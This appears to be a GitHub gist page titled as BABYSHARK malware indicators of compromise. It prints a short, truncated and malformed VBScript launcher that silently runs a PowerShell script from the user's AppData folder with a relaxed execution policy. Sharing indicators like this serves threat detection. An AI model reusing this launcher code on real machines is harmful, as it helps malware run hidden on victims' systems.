Skip to content

Instantly share code, notes, and snippets.

Created February 23, 2022 18:54
What would you like to do?
BABYSHARK malware indicators of compromise (beautified)
On Error Resume Next
Set oShell = CreateObject("WScript.Shell")
Set oFSO=CreateObject("Scripting.FileSystemObject")
tmp0="powershell.exe cd $env:appdata ;powershell -executionpolicy remotesigned -file ""./Microsoft/dev.ps1"""
If oFSO.FolderExists("C:\Program Files (x86)") Then tmp0="C:\Windows\SysWOW64\WindowsPowerShell\v1.0\"& tmp0 End If,0,false)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment